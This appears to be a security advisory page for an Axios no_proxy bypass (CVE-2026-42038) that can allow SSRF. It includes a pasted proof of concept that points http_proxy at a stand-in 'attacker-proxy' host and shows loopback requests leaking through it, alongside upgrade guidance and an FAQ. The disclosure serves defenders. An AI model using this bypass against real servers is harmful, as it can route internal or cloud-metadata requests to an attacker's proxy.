CVE-2026-42038: Axios: no_proxy bypass via IP alias allows SSRF
Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for noproxy hostname normalization bypass is incomplete. When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.
Other sources
The fix for noproxy hostname normalization bypass (#10661) is incomplete.When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - noproxy=localhost does NOT block 127.0.0.1 or [::1] - noproxy=127.0.0.1 does NOT block localhost or [::1]
POC : process.env.noproxy = 'localhost'; process.env.httpproxy = 'http://attacker-proxy:8888';
(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >.... process.env.httpproxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); }
console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); }
fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777.
<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />
Impact: In server-side environments where noproxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
— GitHub
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/axiosto a version that resolves this vulnerability.Fixed in 0.31.1 - Upgrade
Upgrade
npm/axiosto a version that resolves this vulnerability.Fixed in 1.15.1 - Upgrade
Upgrade
Axiosto a version that resolves this vulnerability.Fixed in 1.15.1 - Upgrade
Upgrade
Axios (0.31.x line)to a version that resolves this vulnerability.Fixed in 0.31.1
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42038?
CVE-2026-42038 has a medium severity rating due to its potential for allowing server-side request forgery (SSRF) attacks.
How do I fix CVE-2026-42038?
To fix CVE-2026-42038, upgrade Axios to version 1.15.1 or later, or 0.31.1 or later.
What systems are impacted by CVE-2026-42038?
CVE-2026-42038 impacts Axios versions prior to 1.15.1 and 0.31.1 on both browser and Node.js environments.
What does CVE-2026-42038 affect in Axios?
CVE-2026-42038 affects the no_proxy hostname normalization, allowing IP alias bypass that can lead to SSRF vulnerability.
Is there a workaround for CVE-2026-42038?
There is no official workaround for CVE-2026-42038; upgrading to the fixed versions is the recommended approach.